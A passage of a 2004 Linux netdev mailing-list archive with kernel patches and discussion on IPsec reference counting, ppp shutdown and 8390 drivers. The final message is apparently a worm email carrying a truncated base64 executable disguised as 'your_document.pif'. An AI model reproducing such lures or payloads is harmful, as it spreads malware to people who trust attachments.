184a 184e: 83 c4 04 add $0x4,%esp 1851: 8b 54 24 10 mov 0x10(%esp,1),%edx 1855: 8b 44 24 20 mov 0x20(%esp,1),%eax 1859: 0f ab 50 24 bts %edx,0x24(%eax) 185d: 8d 76 00 lea 0x0(%esi),%esi 1860: fb sti [...] -- Ueimor From ebs@ebshome.net Fri May 28 17:14:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 17:14:59 -0700 (PDT) Received: from gate.ebshome.net (gate.ebshome.net [66.92.248.57]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4T0Eugi020998 for ; Fri, 28 May 2004 17:14:56 -0700 Received: (qmail 707 invoked by uid 1000); 28 May 2004 17:14:50 -0700 Date: Fri, 28 May 2004 17:14:50 -0700 From: Eugene Surovegin To: netdev@oss.sgi.com Subject: [IPSEC] fix ref counting in __xfrm4_bundle_create() Message-ID: <20040529001450.GA647@gate.ebshome.net> Mail-Followup-To: netdev@oss.sgi.com Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1i X-archive-position: 5438 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebs@ebshome.net Precedence: bulk X-list: netdev Hi all! I think there is a ref counting bug in error path of __xfrm4_bundle_create(). xfrm_lookup() assumes that xfrm_bundle_create() will take ownership of xfrm_state array passed to it. If xfrm_bundle_create() fails, xfrm_lookup() will call xfrm_state_put() to release this array. Unfortunately, error path in __xfrm4_bundle_create() also calls xfrm_state_put() (indirectly through dst_free() -> ... -> xfrm_dst_destroy()) and we end up calling xfrm_state_put() _twice_. This causes "infamous" :) "x->km.state == XFRM_STATE_DEAD" assertion in some our tests when interface is removed when IPSec traffic is going through it. IPv6 version (__xfrm6_bundle_create()) seems to have the same problem. I'll send IPv6 version if my analysis and fix are correct :). Here is IPv4 version (patch is against current linux-2.5 BK). Signed-off-by: Eugene Surovegin ===== net/ipv4/xfrm4_policy.c 1.8 vs edited ===== --- 1.8/net/ipv4/xfrm4_policy.c Fri Mar 19 19:35:32 2004 +++ edited/net/ipv4/xfrm4_policy.c Fri May 28 16:22:35 2004 @@ -87,6 +87,7 @@ if (unlikely(dst1 == NULL)) { err = -ENOBUFS; + nx = i; goto error; } @@ -157,8 +158,14 @@ return 0; error: - if (dst) + if (dst){ + /* bump refcount because dst_free will decrement it + and our caller (xfrm_lookup) will do the same on error. + */ + for (i = 0; i < nx; i++) + xfrm_state_hold(xfrm[i]); dst_free(dst); + } return err; } From jm@jm.kir.nu Fri May 28 18:51:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 18:51:03 -0700 (PDT) Received: from jm.kir.nu (dsl017-049-110.sfo4.dsl.speakeasy.net [69.17.49.110]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4T1p0gi024027 for ; Fri, 28 May 2004 18:51:00 -0700 Received: from jm by jm.kir.nu with local (Exim 4.34) id 1BTsyu-0007Pf-6F; Fri, 28 May 2004 18:49:52 -0700 Date: Fri, 28 May 2004 18:49:52 -0700 From: Jouni Malinen To: Jeff Garzik Cc: Netdev Subject: Re: HostAP: alive or dead? Message-ID: <20040529014951.GE7535@jm.kir.nu> References: <40B62FD3.8040601@pobox.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40B62FD3.8040601@pobox.com> User-Agent: Mutt/1.5.6i X-archive-position: 5439 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jkmaline@cc.hut.fi Precedence: bulk X-list: netdev On Thu, May 27, 2004 at 02:13:39PM -0400, Jeff Garzik wrote: > I've been wanting to merge it, and starting working on the generic > wireless layer, for a while now. Yes, it is very much alive. However.. I'm sorry I haven't been able to get enough time to work on finishing the cleanup I planned for 2.6 submission. Another IEEE 802.11 meeting and WPA2 testing took a lot of time during last weeks. Anyway, it looks like I might not need to travel anywhere during the following few weeks (well, at least I'm hoping ;-), so I could try to concentrate on this now. I'll try to get an initial submission for wireless-2.6 done over the weekend so that something becomes available for reviewing. What would be the best format for this? Would it be ok to send a patch against the current linus-2.5 tree for the couple of modified files (Kconfig, Makefile) and rest of the files in a separate tarball since they do not exist in the current tree and are relatively large? -- Jouni Malinen PGP id EFC895FA From herbert@gondor.apana.org.au Fri May 28 20:27:31 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 20:27:37 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4T3RRgi030228 for ; Fri, 28 May 2004 20:27:29 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BTuVC-0005Lq-00; Sat, 29 May 2004 13:27:18 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BTuV7-0002m2-00; Sat, 29 May 2004 13:27:13 +1000 From: Herbert Xu To: ebs@ebshome.net (Eugene Surovegin) Subject: Re: [IPSEC] fix ref counting in __xfrm4_bundle_create() Cc: netdev@oss.sgi.com, davem@redhat.com Organization: Core In-Reply-To: <20040529001450.GA647@gate.ebshome.net> X-Newsgroups: apana.lists.os.linux.netdev User-Agent: tin/1.7.4-20040225 ("Benbecula") (UNIX) (Linux/2.4.25-1-686-smp (i686)) Message-Id: Date: Sat, 29 May 2004 13:27:13 +1000 X-archive-position: 5440 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Eugene Surovegin wrote: > > Unfortunately, error path in __xfrm4_bundle_create() also calls xfrm_state_put() > (indirectly through dst_free() -> ... -> xfrm_dst_destroy()) and we end up > calling xfrm_state_put() _twice_. Well spotted. Hopefully this should finally put an end to all these xfrm_state bug reports :) However, can you see if the following patch fixes this problem as well? It moves the dst->xfrm assignment to a spot where errors cannot occur. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt -- ===== net/ipv4/xfrm4_policy.c 1.8 vs edited ===== --- 1.8/net/ipv4/xfrm4_policy.c 2004-03-20 14:35:32 +11:00 +++ edited/net/ipv4/xfrm4_policy.c 2004-05-29 13:01:39 +10:00 @@ -90,7 +90,6 @@ goto error; } - dst1->xfrm = xfrm[i]; if (!dst) dst = dst1; else { @@ -120,10 +119,12 @@ dst_hold(&rt->u.dst); } dst_prev->child = &rt->u.dst; + i = 0; for (dst_prev = dst; dst_prev != &rt->u.dst; dst_prev = dst_prev->child) { struct xfrm_dst *x = (struct xfrm_dst*)dst_prev; x->u.rt.fl = *fl; + dst_prev->xfrm = xfrm[i++]; dst_prev->dev = rt->u.dst.dev; if (rt->u.dst.dev) dev_hold(rt->u.dst.dev); ===== net/ipv6/xfrm6_policy.c 1.16 vs edited ===== --- 1.16/net/ipv6/xfrm6_policy.c 2004-03-20 14:35:32 +11:00 +++ edited/net/ipv6/xfrm6_policy.c 2004-05-29 13:01:51 +10:00 @@ -107,7 +107,6 @@ goto error; } - dst1->xfrm = xfrm[i]; if (!dst) dst = dst1; else { @@ -139,9 +138,11 @@ dst_hold(&rt->u.dst); } dst_prev->child = &rt->u.dst; + i = 0; for (dst_prev = dst; dst_prev != &rt->u.dst; dst_prev = dst_prev->child) { struct xfrm_dst *x = (struct xfrm_dst*)dst_prev; + dst_prev->xfrm = xfrm[i++]; dst_prev->dev = rt->u.dst.dev; if (rt->u.dst.dev) dev_hold(rt->u.dst.dev); ===== net/xfrm/xfrm_policy.c 1.50 vs edited ===== --- 1.50/net/xfrm/xfrm_policy.c 2004-05-23 06:35:06 +10:00 +++ edited/net/xfrm/xfrm_policy.c 2004-05-29 12:52:41 +10:00 @@ -1017,6 +1017,8 @@ static void xfrm_dst_destroy(struct dst_entry *dst) { + if (!dst->xfrm) + return; xfrm_state_put(dst->xfrm); dst->xfrm = NULL; } From ebs@ebshome.net Fri May 28 21:21:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 21:21:27 -0700 (PDT) Received: from gate.ebshome.net (gate.ebshome.net [66.92.248.57]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4T4LPgi001063 for ; Fri, 28 May 2004 21:21:25 -0700 Received: (qmail 4143 invoked by uid 1000); 28 May 2004 21:21:20 -0700 Date: Fri, 28 May 2004 21:21:20 -0700 From: Eugene Surovegin To: Herbert Xu Cc: netdev@oss.sgi.com, davem@redhat.com Subject: Re: [IPSEC] fix ref counting in __xfrm4_bundle_create() Message-ID: <20040529042120.GA3623@gate.ebshome.net> Mail-Followup-To: Herbert Xu , netdev@oss.sgi.com, davem@redhat.com References: <20040529001450.GA647@gate.ebshome.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-ICQ-UIN: 1193073 X-Operating-System: Linux i686 User-Agent: Mutt/1.5.5.1i X-archive-position: 5441 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ebs@ebshome.net Precedence: bulk X-list: netdev On Sat, May 29, 2004 at 01:27:13PM +1000, Herbert Xu wrote: > However, can you see if the following patch fixes this problem as well? > It moves the dst->xfrm assignment to a spot where errors cannot occur. Yeah, looks much nicer than my version. I'll try to test it tomorrow if I find somebody from QA in the office on Saturday :) or only after a long weekend (test setup is quite complicated and I cannot reproduce it at home). Eugene. From herbert@gondor.apana.org.au Fri May 28 22:22:01 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 22:22:08 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4T5Lvgi004938 for ; Fri, 28 May 2004 22:21:59 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BTwE9-000628-00; Sat, 29 May 2004 15:17:49 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BTwDx-00034j-00; Sat, 29 May 2004 15:17:37 +1000 Date: Sat, 29 May 2004 15:17:36 +1000 To: Neil Pilgrim , 251215@bugs.debian.org Cc: Stephen Hemminger , "David S. Miller" , Jeff Garzik , netdev@oss.sgi.com Subject: Re: Bug#251215: kernel-image-2.6.6-1-k7: pppd locks up, cannot be killed, during ppp shutdown Message-ID: <20040529051736.GA11303@gondor.apana.org.au> References: <20040528124355.GA2391@gondor.apana.org.au> <40B744DC.9956BF50@kepier.clara.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <40B744DC.9956BF50@kepier.clara.net> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5442 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev On Fri, May 28, 2004 at 02:55:40PM +0100, Neil Pilgrim wrote: > > May 26 16:15:53 localhost kernel: kernel BUG at net/core/dev.c:3038! > May 26 16:15:53 localhost kernel: invalid operand: 0000 [#1] > May 26 16:15:53 localhost kernel: PREEMPT > May 26 16:15:53 localhost kernel: CPU: 0 > May 26 16:15:53 localhost kernel: EIP: 0060:[free_netdev+43/80] Not tainted > May 26 16:15:53 localhost kernel: EFLAGS: 00010297 (2.6.6-1-k7) > May 26 16:15:53 localhost kernel: EIP is at free_netdev+0x2b/0x50 > May 26 16:15:53 localhost kernel: eax: df236400 ebx: da638000 ecx: c02eada0 edx: 00000003 > May 26 16:15:53 localhost kernel: esi: df236400 edi: ddf3b400 ebp: e0b542c0 esp: da639f48 > May 26 16:15:53 localhost kernel: ds: 007b es: 007b ss: 0068 > May 26 16:15:53 localhost kernel: Process pppd (pid: 3852, threadinfo=da638000 task=da5f06b0) > May 26 16:15:53 localhost kernel: Stack: e0b5094f df236400 00000282 da5ed780 ddf3b400 e0b4d020 dffe4840 d921309c > May 26 16:15:53 localhost kernel: e0b4d07f ddf3b400 da5ed9c0 c0152d24 d921309c da5ed9c0 d81c3c10 da5ed9c0 > May 26 16:15:53 localhost kernel: 00000000 df689900 da638000 c01513e9 da5ed9c0 df689900 df689900 da5ed9c0 > May 26 16:15:53 localhost kernel: Call Trace: > May 26 16:15:53 localhost kernel: [__crc___netdev_watchdog_up+1116592/2857393] ppp_shutdown_interface+0x7f/0xf0 [ppp_generic] > May 26 16:15:53 localhost kernel: [__crc___netdev_watchdog_up+1101953/2857393] ppp_release+0x0/0x70 [ppp_generic] > May 26 16:15:53 localhost kernel: [__crc___netdev_watchdog_up+1102048/2857393] ppp_release+0x5f/0x70 [ppp_generic] > May 26 16:15:53 localhost kernel: [__fput+276/304] __fput+0x114/0x130 > May 26 16:15:53 localhost kernel: [filp_close+89/144] filp_close+0x59/0x90 > May 26 16:15:53 localhost kernel: [sys_close+97/160] sys_close+0x61/0xa0 > May 26 16:15:53 localhost kernel: [syscall_call+7/11] syscall_call+0x7/0xb > May 26 16:15:53 localhost kernel: > May 26 16:15:53 localhost kernel: Code: 0f 0b de 0b e0 75 29 c0 eb de 2b 80 04 02 00 00 89 44 24 04 OK, I've had a look and it looks like the free_netdev call in ppp_shutdown_inteface is the problem. What's happening is that the todo list is being processed either on another CPU or by preemption in another context. As a result when the subsequent free_netdev is called the device hasn't yet been processed and is still in state UNREGISTERING. Why do we need to call free_netdev after unregistering the netdev from the drivers at all? What's wrong with calling it from run_todo itself? Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt From andre@tomt.net Fri May 28 22:25:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 28 May 2004 22:25:37 -0700 (PDT) Received: from mail.skjellin.no (ns1.skjellin.no [80.239.42.66]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4T5PXgi005314 for ; Fri, 28 May 2004 22:25:33 -0700 Received: (qmail 25341 invoked from network); 29 May 2004 05:25:32 -0000 Received: from unknown (HELO ?10.255.1.10?) (andre@skjellin.no@80.239.42.1) by mail.skjellin.no with SMTP; 29 May 2004 05:25:32 -0000 Message-ID: <40B81ECC.5060607@tomt.net> Date: Sat, 29 May 2004 07:25:32 +0200 From: Andre Tomt User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en-us, en MIME-Version: 1.0 To: netdev@oss.sgi.com Subject: cpu optimalization settings in 2.6 and routing Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5443 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: andre@tomt.net Precedence: bulk X-list: netdev Hi! I'm currently planning to do a sitewide deployment of Linux 2.6, and I'm taking the opportunity to clean up the kernel build setup we use at the same time. The goal is to get the number of kernel images down to a minimum. Question is: Does the cpu optimalization settings in kernel affect routing cache, interrupt overhead and conntracking? How much? Our 2.4 setup currently goes like this: Three "base configurations" - server, router, natrouter. Everything we use as modules (where possible), using initrd to get boot-critical drivers up, no kmod. with the server profile beeing the base; router = server - highmem natrouter = router + nat + packet mangling + advanced routing (policy routing) Reasoning behing this is that NAT makes the conntrack structures in memory bloat a lot per tracked connection. Policy routing I think also bloats the routing structures. All this can be critical on routers and servers that run their own local firewalling, especially under attack. from theese three configurations, a kernel-image package for each of the cpu types of "i586", "p3", "k7", "p4" and "p4smp" is generated. Current battle plan is to cut the base configurations down to "standard" and "natrouter". Ordinary routers have to do with the standard profile, as we expect to gain more just by running 2.6 than what we would have lost with adding highmem. KISS beeing the main driving factor. So far, so good. Then to drop the per cpu type images. The plan here is to just have CONFIG_M586 + CONFIG_X86_GENERIC. One with SMP/HT, one without. ie "i586" and "i586smp". For servers, thats probably just fine. They spend most of their time in userspace anyway. And they gain on things like NPTL. But then there is the routers. They spend 99.9% of their time in kernel space. From mcgrof@studorgs.rutgers.edu Sat May 29 01:38:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 01:38:26 -0700 (PDT) Received: from ruslug.rutgers.edu (studorgs.rutgers.edu [128.6.24.131]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4T8c3gi013440 for ; Sat, 29 May 2004 01:38:04 -0700 Received: by ruslug.rutgers.edu (Postfix, from userid 503) id 9B8E1F9D4B; Sat, 29 May 2004 04:38:03 -0400 (EDT) Date: Sat, 29 May 2004 04:38:03 -0400 To: Margit Schubert-While Cc: prism54-devel@prism54.org, linux-netdev@vger.rutgers.edu, netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [Prism54-devel] Re: [PATCH 0/14] prism54: bring up to sync with prism54.org cvs rep Message-ID: <20040529083803.GQ3330@ruslug.rutgers.edu> Mail-Followup-To: Margit Schubert-While , prism54-devel@prism54.org, linux-netdev@vger.rutgers.edu, netdev@oss.sgi.com, jgarzik@pobox.com References: <5.1.0.14.2.20040528090459.00ae3d18@pop.t-online.de> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="qx542RXz7QAsGbWW" Content-Disposition: inline In-Reply-To: <5.1.0.14.2.20040528090459.00ae3d18@pop.t-online.de> User-Agent: Mutt/1.3.28i X-Operating-System: 2.4.18-1-686 Organization: Rutgers University Student Linux Users Group From: mcgrof@studorgs.rutgers.edu (Luis R. Rodriguez) X-archive-position: 5444 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mcgrof@studorgs.rutgers.edu Precedence: bulk X-list: netdev --qx542RXz7QAsGbWW Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, May 28, 2004 at 10:56:30AM +0200, Margit Schubert-While wrote: > The waitq change is no problem. > Luis, shall I update CVS ? Please do.=20 > The other compats I assume are OK : - > synchronize_irq is defined like that in other drivers. > The firmware loader defines could be reduced from 2 to 1 by > changing the parameters to isl38xx_upload_firmware. I can't > see how to get rid of that entirely due to the parameter type > change from 2.4 to 2.6 in the firmware loader call. Good luck. Jeff, Since Margit is working on touching up her compat work she'll just submit the patches. --=20 GnuPG Key fingerprint =3D 113F B290 C6D2 0251 4D84 A34A 6ADD 4937 E20A 525E --qx542RXz7QAsGbWW Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAuEvrat1JN+IKUl4RArmXAJ9aCSlALawD35POMGVyaOGQCxmhkwCeIXHt wKuuYGbjDCMEjbB8ywYLiwo= =GxmE -----END PGP SIGNATURE----- --qx542RXz7QAsGbWW-- From herbert@gondor.apana.org.au Sat May 29 01:41:41 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 01:41:47 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4T8fagi013907 for ; Sat, 29 May 2004 01:41:38 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BTzP7-0006jp-00; Sat, 29 May 2004 18:41:21 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BTzOw-0003OX-00; Sat, 29 May 2004 18:41:10 +1000 Date: Sat, 29 May 2004 18:41:09 +1000 To: Jeff Garzik , netdev@oss.sgi.com Subject: 3/x: [NETDRV] Add register_ei_netdev Message-ID: <20040529084109.GA13032@gondor.apana.org.au> References: <20040313025859.GA8186@gondor.apana.org.au> <405C294D.5040508@pobox.com> <20040520111937.GA21804@gondor.apana.org.au> <20040522074435.GA9628@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="XsQoSWH+UP9D9v3l" Content-Disposition: inline In-Reply-To: <20040522074435.GA9628@gondor.apana.org.au> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5445 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --XsQoSWH+UP9D9v3l Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Jeff: Here is the patch that adds register_ei_netdev which lets us get rid of some of the duplicated printk's in the 8390 drivers. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --XsQoSWH+UP9D9v3l Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p ===== drivers/net/8390.c 1.21 vs edited ===== --- 1.21/drivers/net/8390.c 2004-04-14 04:12:07 +10:00 +++ edited/drivers/net/8390.c 2004-05-29 18:36:06 +10:00 @@ -1033,6 +1033,29 @@ ethdev_setup); } +/** + * register_ei_netdev - register_netdev counterpart for 8390 + * + * Register 8390-specific net_device. + */ +int register_ei_netdev(struct net_device *dev) +{ + int err; + int i; + + err = register_netdev(dev); + if (err) + return err; + + printk(KERN_INFO "%s: %s at 0x%lx, ", + dev->name, ei_status.name, dev->base_addr); + for (i = 0; i < ETHER_ADDR_LEN; i++) + printk("%2.2x%c", dev->dev_addr[i], + i == ETHER_ADDR_LEN - 1 ? ',' : ':'); + printk(" IRQ %d.\n", dev->irq); + return 0; +} + ===== drivers/net/8390.h 1.17 vs edited ===== --- 1.17/drivers/net/8390.h 2004-05-25 19:53:07 +10:00 +++ edited/drivers/net/8390.h 2004-05-29 18:17:51 +10:00 @@ -52,6 +52,7 @@ { return __alloc_ei_netdev(0); } +extern int register_ei_netdev(struct net_device *dev); /* You have one of these per-board */ struct ei_device { --XsQoSWH+UP9D9v3l-- From herbert@gondor.apana.org.au Sat May 29 05:02:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 05:02:23 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TC29gi024588 for ; Sat, 29 May 2004 05:02:13 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BU2WR-0007s1-00; Sat, 29 May 2004 22:01:07 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BU2WC-0003nd-00; Sat, 29 May 2004 22:00:52 +1000 From: Herbert Xu To: herbert@gondor.apana.org.au (Herbert Xu) Subject: Re: Bug#251215: kernel-image-2.6.6-1-k7: pppd locks up, cannot be killed, during ppp shutdown Cc: debian.bugs@kepier.clara.net, 251215@bugs.debian.org, shemminger@osdl.org, davem@redhat.com, jgarzik@pobox.com, netdev@oss.sgi.com Organization: Core In-Reply-To: <20040529051736.GA11303@gondor.apana.org.au> X-Newsgroups: apana.lists.os.linux.netdev User-Agent: tin/1.7.4-20040225 ("Benbecula") (UNIX) (Linux/2.4.25-1-686-smp (i686)) Message-Id: Date: Sat, 29 May 2004 22:00:52 +1000 X-archive-position: 5446 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev Herbert Xu wrote: > > OK, I've had a look and it looks like the free_netdev call in > ppp_shutdown_inteface is the problem. What's happening is that > the todo list is being processed either on another CPU or by > preemption in another context. As a result when the subsequent > free_netdev is called the device hasn't yet been processed and > is still in state UNREGISTERING. > > Why do we need to call free_netdev after unregistering the netdev > from the drivers at all? What's wrong with calling it from run_todo > itself? Well I guess someone might want to reregister the net device :) Here is a minimal fix for this problem. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt -- ===== net/core/dev.c 1.141 vs edited ===== --- 1.141/net/core/dev.c 2004-05-23 06:45:55 +10:00 +++ edited/net/core/dev.c 2004-05-29 21:56:18 +10:00 @@ -2999,7 +2999,6 @@ case NETREG_UNREGISTERING: netdev_unregister_sysfs(dev); - dev->reg_state = NETREG_UNREGISTERED; netdev_wait_allrefs(dev); @@ -3015,6 +3014,7 @@ */ if (dev->destructor) dev->destructor(dev); + class_device_put(&dev->class_dev); break; default: @@ -3140,6 +3140,8 @@ free_divert_blk(dev); /* Finish processing unregister after unlock */ + dev->reg_state = NETREG_UNREGISTERED; + class_device_get(&dev->class_dev); net_set_todo(dev); dev_put(dev); From s.maier@fritz-kohl.de Sat May 29 07:44:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 29 May 2004 07:44:58 -0700 (PDT) Received: from oss.sgi.com ([82.154.116.71]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4TEilgi030119 for ; Sat, 29 May 2004 07:44:50 -0700 Message-Id: <200405291444.i4TEilgi030119@oss.sgi.com> From: s.maier@fritz-kohl.de To: netdev@oss.sgi.com Subject: Re: Document Date: Sat, 29 May 2004 15:44:42 +0100 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0000_00007C2F.00006738" X-Priority: 3 X-MSMail-Priority: Normal X-archive-position: 5447 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: s.maier@fritz-kohl.de Precedence: bulk X-list: netdev This is a multi-part message in MIME format. ------=_NextPart_000_0000_00007C2F.00006738 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit Your document is attached. ------=_NextPart_000_0000_00007C2F.00006738 Content-Type: application/octet-stream; name="your_document.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="your_document.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuAAAAKvnXsbvhjCV74Ywle+GMJVsmj6V44YwlQeZOpX2hjCV74YxlbiGMJVsjm2V 4oYwlQeZO5XqhjCVV4A2le6GMJVSaWNo74YwlQAAAAAAAAAAQ29tcHJlc3NlZCBieSBQZXRp dGUgKGMpMTk5OSBJYW4gTHVjay4AAFBFAABMAQMA6ZtBQAAAAAAAAAAA4AAPAQsBBgAASAAA APAAAAAAAABCcAEAABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAIABAAAE AAAAAAAAAgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA/HEBAK8BAAAAYAEA EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA LnBldGl0ZQAAUAEAABAAAAA8AAAACAAAAAAAAAAAAAAAAAAAYAAA4AAAAAAAAAAAABAAAABg AQAQAAAAAEQAAAAAAAAAAAAAAAAAAEAAAEAAAAAAAAAAAKsDAAAAcAEAAAQAAAAEAAAAAAAA AAAAAAAAAABgAADiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgC AAAjWZWUi0QkBIPEKo2QNAAAAIPECGoQi9hmBS0AUFJqAIsb/xNq//9TDEVSUk9SIQBDb3Jy dXB0IERhdGEhALgAcEEAaNFrQABk/zUAAAAAZIklAAAAAGacYFBoAABAAIs8JIswZoHHgAeN dAYIiTiLXhBQVmoCaIAIAABXahNqBlZqBGiACAAAV//Tg+4IWfOlWWaDx2iBxsIAAADzpf/T 